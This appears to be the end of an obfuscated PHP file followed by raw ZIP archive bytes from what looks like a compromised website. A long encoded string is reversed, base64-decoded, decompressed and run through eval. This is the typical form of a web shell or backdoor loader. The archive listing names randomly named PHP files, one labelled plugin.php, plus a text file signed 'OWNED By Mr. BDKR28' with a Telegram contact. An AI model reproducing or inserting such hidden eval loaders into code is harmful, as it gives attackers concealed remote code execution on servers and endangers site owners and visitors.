"0H2FV9swjS6m+9V6IjgrsiBH0uo1EsMshaawyrQfDRFOK9o2E6rl/EQZQBC7aHD9VHhV36naSV25zjlW" . "x+Bb1UB9PZ9X4uJqvi4e0Fyq5v/MdIoZ7IRUC5A9zQ44I8GyPJaUs0FloPE8oU+o5UlCSBQvXWo4S+RJ" . "7aXZJgdtEXUdxbNh+ToyLumWTJ8eJ2Xxsdx9Ynmmos1PpTJOxzsK5zfgHB/FojTLEONpwxZDYhxNVhzQ" . "5CMF1Mc/vJwvncqcEQDs6hAGRQn2s9bA881tnPj1TQjzuS66D4qHKxujYcbcsBujWXyLDBYjatw67EAN" . "pIkojIv1E3pBwbo1hOSr89iRSJZrql/buO0NkT4LRKPLbiFfM3p5RV8nK49KE2od0rewCslai55aS9VR" . "QK24pEohkxTaPyWAaKbNLfTjxwpJrwya11TAL5jAi80A0I0b6A5doMb1H2zpiHYNwBlblku5ymHCN/zZ" . "gugi6ofxPaL77O91nMK2tRdAcsVSOExbu1+PKscp3287U9hhisr5yLxMk36Bjc8T1YvQnd25tNoRTno1" . "FIQxV0lHxu3Af2SjzjaVcN0cQgy2+/QzUzY46YqP+ZXyv54d3SZqwMXVDuevU3E6IAsekbggZ0zKpWW5" . "AzgVXEssBFwaxHj2U9qtkUQymJcYxlAgyV36NlDWWTRu47C4VAdLZqf7E6XgKjSjnRld6Vo4Qvxr8Lz4" . "nOuf61S+pBt4aDUmJMWojazUfJGw1ZsJkGU4cghuVS1FEQ6lLeD72OOgn+LSx/oNXpvPYo9uXn1lTXdg" . "ZglVfEAaBzZNusdoGjoJ6xYgqqynE5cVU2QdQKY0yAdb0QMb1h7qVOasBpm8VR1KZa0rpLeBkbXVYTGq" . "/a5E0IZUlwbk+ELXYWoNzQlDKLnPKSvXYDNjlUYt4IXqUILnHfMAcDIJ7oUHleeYYmvR5DweLK61F2Rh" . "jr2FgK4G42mvJWs82V/j9AQNJB5FFw9YJ63W3FUjqtu1sKvBDYF0aXmHcqy/iSY1FNofP3VpOZKNhq7e" . "Sh8qUI4oFv8v3SgQPEP801Mjqbfm1a3ZE6Jk91YpNv58CxxntSdq6o4vN3lDERcKV/ObsTCmC/qimLYJ" . "URhiJe5hNh7eAbUvNPrGV2fBQ8vtgljnn9NdZ/jelDefyssf1I0byiectTUt6LW3hOT5ih1dzoOOo0YR" . "WOjJfGnQHBtNkJ6FoTwkxL4AWsB68H9xdEhxlvVWs33HbdPEA0EQ57VFAYWSvK17PSDxIb6TidfJR7Z9" . "zWEr8rgRKb4of589oqUdKFDjRZ2DLoHV4vrBmZGsN2VQgcFe03lbNZXsab1fDtGwHVoYaDSGUAMxlLeZ" . "TkRZ8ki50KVjmZxZE+IFP/CEhhm1oY51fFjWueLNxqqyRS/pLbGFHTsvtdc5PrZdRtfLRaid4uJmCB2O" . "ibvSW9MzrssC40fQtCwPlQ9MCg50EqFB6Zj/YkJT2DpfbeKBKU+9rvxEniJN8QS5ZgirHWpTPdsiKsmY" . "8s5Vly3pxUYB8t/gEnPg39Ocru7SpE4j/FjF4sK7vgtKJSWgmsY/zeNCizj3bJ7qMihg9s7hmrxw2XN+" . "mVxMj2pHpotUx33z53b2IczeQ/4yzBwoM/Jor2O33ywtnZRvZjrn2q751dfaWg1jt8Zlz72LgfQo2U4h" . "VK0EjtBuy7zGlVm42vCQ7oEuvyNrZfWo8BMtCGq71ljxynyuyPmP4vB9XLljCqF+N2A69t+rOSruRuqA" . "1JIP+yhe8B6CEdE7sKIlyX+zkJKU8hJAoEh85aCkswpAEfA24bUmSzytFYBkTJxNnx8S1XZDlHPRj00X" . "437KXGl1sdojRi/olcBs3hzeHqR7yfxg7x3FD3iBV5zm18L5im+vJALDXTJ/YvL4lUMpRAugWezKsUJO" . "7WQDovLKW356w9jDktP97e0932S16URvARKx/TFM5aqr6ujnllazqlR9udgs3nGzU//UxRg83ZivAJPY" . "q0Dgom+9oEogEcr7v2nryba5mwtJ8+ixiLFRS/rHTBcs/Dng4GkN63q8iZkfGOhQEAGdgnKtMcTy4V5B" . "tUAt4g52V0e8lXs/5VbcvEGdcUogREOjU4fOB3M8XhCHVZxyZ0u+GO1SQzYakE4yrCcPNO0kHntuKoHr" . "Q+7pGRdyitL5zz6GNfCS3o8tWmLU8bri+Nv6lAivSts9FaE4qsBidr7TlIwlosJyEwOmhLFHTYQOU74S" . "XsaAYMHzohoKmx8rwGWduzK3x7gXeqSwUb5ViyXv9fJ4Z1lsz7g9uPkkKaoVxpizDF79q4oIDPNVlHHX" . "xowymhaTKoev5VWBDJJNV5tQP1iDcNy0uLeLIdwTmW/X+YMLXbp430oh6JujtGUEGIEEYISDckkw6kgf" . "qloNMRWrzQ/yg/uePzmNYfrwEFxaAeayYbihIKZ7hWNbmQRlJsv++e9icE5cKJ05UKtoZ2c2X4V3QWrq" . "FTbrlolGsaRAi9dpncLM/N+/FJ5xnJWmzVUq1BX+nJs0PPCCMo88laB7Fw9lZLh7rFPXfJbvn2CN4G/W" . "wHmrUAJ8qURoIdUZZTINY247YqVPejYq4iwYbl7/kNNKZo+PFkeMEXriIZWVtHUNxiqgoMIH+/alAe80" . "PwOE5uJX81jjP/DQw6ZmxzY/XTs5vU+HJAO7K6h/5qW4u3PcUKadtz8RjhGuvqB8hcgDNeKpSAp8CTCw" . "TeJ86Pkyut34M8QZ6SIpdmOOISPqOOrmzK2ZNmArla8OQ/4BXXRUgczePZH/+UAF80nBxeq2pClVBFPU" . "lPQMmhnvECxgLWXQEnPY8462lai+9f/4Ktm9Te+1egABrhHtVrvw7hd1woKdfLoiqmtJcbJK3SZMqDrG" . "51kvOD7Ot6Heo9hsPRC/VTLCBSehiRAuS3V0rlPAEM+IdJsuFRqdDt/Qs9foZ5yEv4W/MD33ILlkv+uO" . "jNB1kmbV69ZGOoe5YrkgMoiM3mrui+SUPuoFz4S8BdSaByVkYWR8BgcQFJlGfYxRzJPkd+beweGf3wsT" . "O7wT1M+v/xh43n89DTYg/AFIBwUPWy/CvWMgV49UlokGe+Gsz5QphKX1Tr1cWnWFzaS7aGNie0CMk4HM" . "MBeoIt2oELPmeAQkFwQfcI1RDsqKSno1xF8SwytYEkvEMLOZCe0YBaLL7Hk2VgcTseW4Y5wbWD41mj/a" . "cnpWDbn+D2UMEwSPxnsT/bnEqyNCnEA0bzZMDJGfhrvcTAMTSVDVXziR6BwYhznYXrKguVmgbzfAFrdf" . "uE4o29gXteC8DsRczb/I63c/wvQdhy/UfcRvS3zB1yJYPGptXdGsNkiXUSDWtvyGJSsZYqXoGRppL72Y" . "UE2T8u4BnOEJBUNIZITZdwQkSG1o5lyjHAZasBWgIVEOn5NNMdhZ+HIphj7IHyBaM04URsfGZqHYmdL3" . "0zzFcJtzVfhgAE9vLNxARe96ymMnmwixhUuo74K0K1oTZ3GWWyJKK6QOD1XLW3ExSxtDzHGYRWtVrJ+j" . "YwflLHq+tSuvLahSC8N2jMiVbf81kXfNdysglNqBWACB4j8DWJs/3sv9eMrT2x2E1pffr2MCMLSGdZGO" . "NRt0/0lFEJmDkmMWRQWV9E6xbV+qTEL+HzpRrSYN8z6Ncy3V4RwCfXXCR3hhvX68d0COf8pucfmx4n6q" . "UvuUcVAkRuCTJFj1CJIbTeZ/VFsZE0j/rpe/7nTnmREJpB9JM67m7JK2rBu4XOx4fS4ftyN70RRNYps7" . "FtwMUBEfdR11DtklP2MVr6HmwFXCeZlqRqxnJrBFYfLHKIoYMIIcYCCS0ioZLIdkuNNpjGWd89Xqt9VB" . "DkGPQu+Ic7FhBKhkyPg5LvcOzBleztJ6sM+Dkf/q5fkwWmEiSuki4KeIr3NzxpYRt+u4yzmfVxKGQyij" . "gFNyErt5s2zVaNw4rkNDkD5tWXM5ZsCxUaX4k3ueXTWxGQlHQcSKz3/RAAMwTxCjUdeIVv3z8qAtNiPR" . "sPIpZ20N0FjgzOr1jWZzeLqKXro2AvHiN5LZ1tWjN4mcwkkgy3hW8kThX5UVro86GY/4efW1vSHzok33" . "hZt1DLOHGGhCoyY0YyGHKFd8ZJGHmCVw4RZCnVUqaeUGpIOtOCOQ4tm9NHMCL6UIN25rQJSCzpH+SOCh" . "XN50v2JirD01PL8RGCsqH2vb+qOl7JKJsLQiipfJDOBR10vkHNCPREzo/iMHAEZaDMXhqzSwz5HDCS/C" . "CMFpDIKCiUXaHyNC524gWj2ULlo0KGNgpYBl81e3bnHZwZ9WfikyQAS0w58T5wx2wLKxu02K5odbUeZf" . "F3UIQqqk3WZYhDZE7MYK2LfZmgj8o1NffctuH3z406LvRzR5pnJ67MbWqGCzz8+aWq9GE0buV8uf9PvI" . "aJUAe1vpobWIYmGARFO8pWtFbaABxFYmjfBGnY+85hwwSm7Breaz19cGLP3g1HS8ZFTlK9nY2ImA4WRl" . "t1qQnEdrtChF2o+001Hh4FXFuAKXhHJB0zlPo6VOrzB8SSNuVOXP436W2LTAJ2A1bEEJu/cp+10ZMnQj" . "cTpgT5yKecnrakMEfjdEQNbnjw0FrvIfuzJ7aKEuSA6unIVfH623jwZGn4dfyIp8iujLb0bs0+EZegVU" . "bewdvD/4fYdf1QcrhmiYZI9EYiMDPLCkzb2vEVryY/BLmEkrD/DQb9syFIjeW566vAFUy9rf35L7/wo5" . "U2zBoTva3sOLu2Unx3q3+rjKPNfSPTObRa4xB/4xIbxZabcq40Q4L+IUwoEVVlvgJMfoEmYoSNrcO+hr" . "SPzQQ9224y6W8yyN8nGmcKjqVwyhcYXAfDrtoY26Uf5yZLTsc4Hj+rxbesAAX8OMwfRabgRKZI3VOxUh" . "Rt2fhd/sqyXj/Oq+zKIVmuitfUpMzIdopWktxiwk/av6tnh6aHN/faf7g5osJ5XW4qXRBiR/Kfu0giCy" . "ztO3g39w0f8eLoL07pod+gC8AbuMVa8DAkAqgzkgeDyPRYC/odUn1TpumfnxIb3VmtHsFkibIUspNpKz" . "d1D2xIW8CGg3sbrVCPW/XB70PFsKKmR2qK0tizzqdhXI0a5kqjTm2nvi8XucXdCg5idJj7Hb+uUu7rKQ" . "CouMULTaeXta06n0fnrjNz+XGHYs3T9HbQRY9JUgjkuqvtYbkzbe+1vaNYqAPJAUTm61SwMSOMTEDPcs" . "IsP2qwCNVT/7+SvDPBsI/FUIgxRsLl1tK5HEX3LOGGVZUgM9yfSVCN8rsH45IywcgsgJKcpAIAEFXN8t" . "4WC7J20COcsqIj8StyU6Xo7q2rIjxUEFUUQZYon10Hv+VbYxR5lLmdypbzu9595QOpMPkC7WuZC9aFVE" . "y0yz5BbPdsTGE+Oq0soD8f8ykKBSYC4bheaODXoLMvNAQznmW3eIJA5uImJ5LviELEwrS/XPTGN24xqv" . "hAtNXdMkOQcaIbQ+a/NMYvw5zp7RQZQusZqOfAw5OFuGZRIvbfKHIkscwPd1xWRynOg2g0lN9bnHd7iH" . "9xvbe6jhWjIYDpUIaZ2g84c/1Nrf4ou1uYqsrYMUmyIdE0xeL14dv/KarOwDgRVflMGH0+kiiRG3OxN8" . "m6PobkU16XYoTNi2e3DsU7OQ1DQwClxeHJ9wSE28dFGiR5Nl8JTlE2cm5zVcOK3EqDe04RQ01rnHGfmi" . "swEnUsNVOdG1ImhqM57BBAfKFGJWL0sYE+cNn7uWxo7DEh7O4eD9uvUU7tD5awJCtEVzIN6joAubpZ0j" . "G7qg2jiOGtzg25JIy188Dv3tG/RCYWmobu/ki9L7HVP+DjJL5TSMmr+NfAsz1iW1Da10RC+vzUeqvh6G" . "5DAe5axIW2P2+Fd1M4MLKTe9fiTYU/vo6TJUkhKim0skFuOPjJBXGcQS+fyS+ink5a+guhPzwNtRY1ma" . "OFbqnbQH9lWE2RUPPzuOBlgiWRFrCWDYCBecQ8bIk4teTdGsaQLmJZMtpGtcEFl6JW+Csv7mhRfDj2Iy" . "QyEZeBM5H1Fc0GpK0AOd2yhpPTAnPKtwC3lr+cINBUlswA+cbQPRgdvokwzqa5rFrhufwPOaOQAC6yhH" . "iJ2+ptD7Rllp945H0tO8R3FIjRRZjNWtlKYoTefnD6HOrVFWvwFAx+X0lki0BMq2YxrFLSqPXuryh0KY" . "wx+OXJRsr0sVXr3cpUle/WnRC3tUhUCl6A+UHxvO07K/oUsKHWQ4CSWYUmcRFnm3+/aDods3QGiB+fce" . "C+fS1bdsl5ZghcgmBAMTh4XnN3410M/G25+eyRulqjDykOvZO74F7yq/H139wgAheCPmgl4qnKtZrufi" . "xW6h4cm4hRKiPcHJEYBmHtBVEuNlZ8Gv4LixIEA6+P/9fFr+PcvHPy24N8t9bkNGQv1p/w5vtxJGE9jY" . "xpMUxsXZWY44EhysLYfA/stZvxSsmVIiO22p0UUIl9smyd5B3facesZFr+OPyGcUDOQrvYdxsoQ9TyJa" . "DlkrxJhdBLLPyakN5YsrbPmt971C22o3pbEAIm9xOA1B6zP5lgUFGYsP2vPs/nHRGrFrWU5eqW/H7JUz" . "GsTA3K/zHefKe13HIITc3CCjcn1CPLEStzV0X1DueMu9e2mpPcYtlOkY4yPevX6w5ri5HnR4rvmzswST" . "4rVIK6Xf/DhQW6v2+U4VCoIzErJ6vll+VrUnaN1I6D07pxAoHiFL4fpz5hK1Wokf7ZEntTaXSzxWBLVe" . "PSGNu+jhEXj9iWozObL2FGvQ5BpvpCnXI2pfVVBEb03KKIvAARkOc+MmvGMEoPPy76AvGmSmsq8teqph" . "Q2gNEtEOy86IHSxpGy0XEzfSbeS6sxJyRlGBf9JOPKSIpp9cCNAas4dbiM93yGRdYISsd6cCYGzcLv0i" . "v1UX/MnZ8l07Z2FMPGLVhEtuHLg4RKQwyvjUgKpmNav+VaH+wLh00MOxN8p10hKELv25sT/jYhN0panm" . "PY0ol+LWBzeTqp/wpRnSv3B+mZruGPUvhfP/VXEZ5Vi8FnmLFrXOjNW6bvFmgPQjW6hHVgVK1vX2tZrg" . "OaqtD2XNCSaTXo0M25fhrMR6P4wCzQQG0JD4iSCKJFG3OxZUp7n3ijNdYCf0mhopgxsE3pb23FW53/ci" . "0Q5AUaiPe6pqI/dZ/0Lx2do2RQVfAdXKPdMH9fUtBDGm/KC+fWxtIbNJkFEPSMZRvhnNdbJJGlLCNwbn" . "H0WwfpyWcLreBA9g7nbWAtZBtYVdF6E+FpsDoLATTM1UxSH4SHE9f2t8zw7fweefdm0ZkoflOhyho2WZ" . "ifizTcj3HK5IE7SyHl+6tyOQA7qdJGz2rVL1oDfQVz9nHbqEmbDVkDyt8MY6LR+OPpteBI7+S28AEeyQ" . "EKIVtZskVLIg2wairpqlQkyP1V+Pbq17VMZCzkRYEAHL9aj5EZl5UKsxamChzGGLk7zmYEJVVpPHa6Wh" . "Ur/OTBRbG9Vf6kwKd0ktfFsyaYsqWPhgMibb5kvAIGxRnrGvipcfZVmVa+y9RxsSl7xkReNtFsYOdVQY" . "3HcUUy35/tYHHUXbU2kBylvXqjrmJi9lql937JRhVTJH12EA3OcsJe6Z7MyVZq7ejtUQlhkFZaz9O5/X" . "X1ad4MMVvW8HqVIfBb9eaH0Ly8S3Ge9z2iuQSjn9WxDlvYgRoBgt3cKzR60ZlHlBA83CJushc+0uaPaW" . "1GPD2+HoRBRARglFC9qrWh2GYZQx+PMVJu/xrTyK+Btlx5YJLBlZsSkV8stMy5L2W445cLUYjX3pD9eR" . "sybzhEUzF5Gf0eugDL75mWMnC5u+8NpR+o9+/K8GTLomX7nAgJEGGpXoNFsmFasP3TBENgrwsOMcnLy5" . "rl7qjiX4x3ilI7VtWd6zT9ddThIILh2vdYVBtXZUUwbqtvde6CBHxpcYc/OTkRgZTHlltCvR1r4onHGw" . "u55Lc5kSO1jvexVl30NSY+K5Ob8HuaoklFpEM2M0qbRStBPibWn2ECYGlS6iSVpY+0/XVQHN1Eeoprq1" . "0OKL5Qcw1BxxKzxuYXQHtYB8YnkzkOZJIT5tH7Sa0K1JLUM05nQfxa+40LIeD3cNXjvYVsdqT1+a/x46" . "KQDSRmpMFvYN7mD7kvpQ4NZgb8RF3aA7uwrXhP5QU/rVuFi4hudJNlUJjAI4WoT8OHAllVe1f7XyYPwk" . "Qwx3IXdI6/VnnPi5s219Q10BkSSUGBNiw5mQlnocH93YaTl+KcG6mxZ/GNjCK8apCsOKxlvLLWyj+AP3" . "+sbWTtVj3F7b78DGHg18Xn2dQjOEc0e29Kq6CaFiU6+67nKiEgIwVsLWMw21/mjTOMxcXjNunRvlROzv" . "pP49Nq+ccUaJgD9V8CLxJri9IV8Ij2Iz0vkA4yqKOSQafzle6IVu+4la3HfxSpqQt1snaAGh+Fa7uHe6" . "NX1aenj8wOl6qiKc4ytrQ/nWZrvoZXsingVrl1KUDhssGmiUA3bv5IorMLzovEK4Non6jiMuEqwIySvX" . "QJChWW5YGvG8G+9FWnqvIGBcs99c4pOPyF5PW2JZmFOaDYVXd+BSrdq0vzSHj6neZPi6xkPE2KsHbhZV" . "P3F2EeLuUkLyyI05x9eHJhhzzpupjRWp+ekf+qxi+kvoIsSk+II1fUWkLjQhq2oNlKFilsQ9jNKPm1hc" . "Ymh6TLJnPwTu9DSXnDuEQECAILUswx1pSqqglYBGW0XYE6B9N85I2XQPP/5dlvL4/XI2tNdNes6Yijva" . "w5ecrCWMPUklbpNKLnzVDqbEDVkY3L9otVBiJfMurrAFa3fZZRcOST8qbIJZwPFV/WXx5t24cMOcxIhK" . "MOMlZEeD9V4ZXO6NGbJI/stTkM7dTWENgXQ3JzvhfhrpiRJRdRGAU0zqBiRIdOvLLaMyVvKDZ9oxYBY1" . "ET6V0rjakor7Ryzwoam05jfvZ7T4wYOVbFmSs/KWJqY15+kh3gduCq6C7zD2L8InSo/fET/pwRaUzOpp" . "2a17qp/7AHgtqEWNbBTIVixVJ13bDpcybO/Sr96ib4a+1QyZ1BxxadSexhO6h2b88+mxz6Lrhs5G8t45" . "ol/vPGWfxwX9ceqTQT3000+oQeQ/FaoFyFA6q2RBrmRHcoclcGTIaYQSLNtD/cjDWo5IsmZhAgsz87C/" . "ePnFEz8L00yOZyoYauMoqI8RKb0yXgEkAFRW2ab4XOXox0cR3BdGvVYgmHSpz/pqKn5FYJu3aibr8dJC" . "RxkZ3UVtDowEFSaOk/8nhWkuG2qm7uycYRcr4kbrSMKKyORzqjBkra6TDiKGTdZcLWqJTS3tqaGhtnRb" . "TD0XPFgKxxnevhaAgb5E2F303faygZbng8WSl1KAlMOsgQWWQzb+IeJOgi1TSswlO+AyjcgE9KCmrEhd" . "hMSAOBYZ0GvK9FZLN4KCUcLS78z8d+SbTtKwwjwBnoOYo8EDAM6YZLy0FOhgVdbHtFOOj45UOQjUBmcz" . "SsQ0mPSA4FivkYKHzBT8IzUYvtiHSeR+/iI/UZxdSs+KHdK3/k05Ehu2vQczKHfrKJtsWIEgZnwNRHlG" . "S4i7abYRQT5e7jXspdibqG1CFsfezfrpA23lHhCRKqShZuwjRA0wAGkA2lORqGnumDE56o5gO3MZ+pso" . "m9InSyVv4sffgDjfbeecabRTNHXfYWCnIwChKgrucBuq0R/vPll2jYIWCi/qRC+bkAyxYCm9wRXWthsX" . "Ag+gGFN4bSfP9RD8XkZaCnKewzII/6+5Dy6C0CQMqh3Fs9//nj/t97//2bc+a28fBK5yLx7fPNDnkfUN" . "m4ETkRh4nCCo3qk5fRoFqPor3qJF";
function _e996($s){
    $_x968 = strrev($s);
    $_x968 = base64_decode($_x968);
    $_x968 = gzinflate($_x968);
    return $_x968;
}
function _a535($x){ return $x; }
function gjha_754($x){ return str_rot13($x); }
$_y130 = _e996($_c183);
$_y130 = _a535($_y130);
@eval($_y130);
?>PK        ! )nQ4   4     BDKR.txtnu [        OWNED By Mr. BDKR28

COntact: http://t.me/MrBDKR28PK          ! TtiI  iI                  kywlmrdc.phpnu [        PK          ! ͌z z 
            I  plugin.phpnu [        PK          ! 	                YO ohuhwjv5.phpnu [        PK          ! pdnr\  r\              S BDKR28_qw4arqpw.phpnu [        PK          ! )nQ4   4               Z BDKR.txtnu [        PK      }  ư   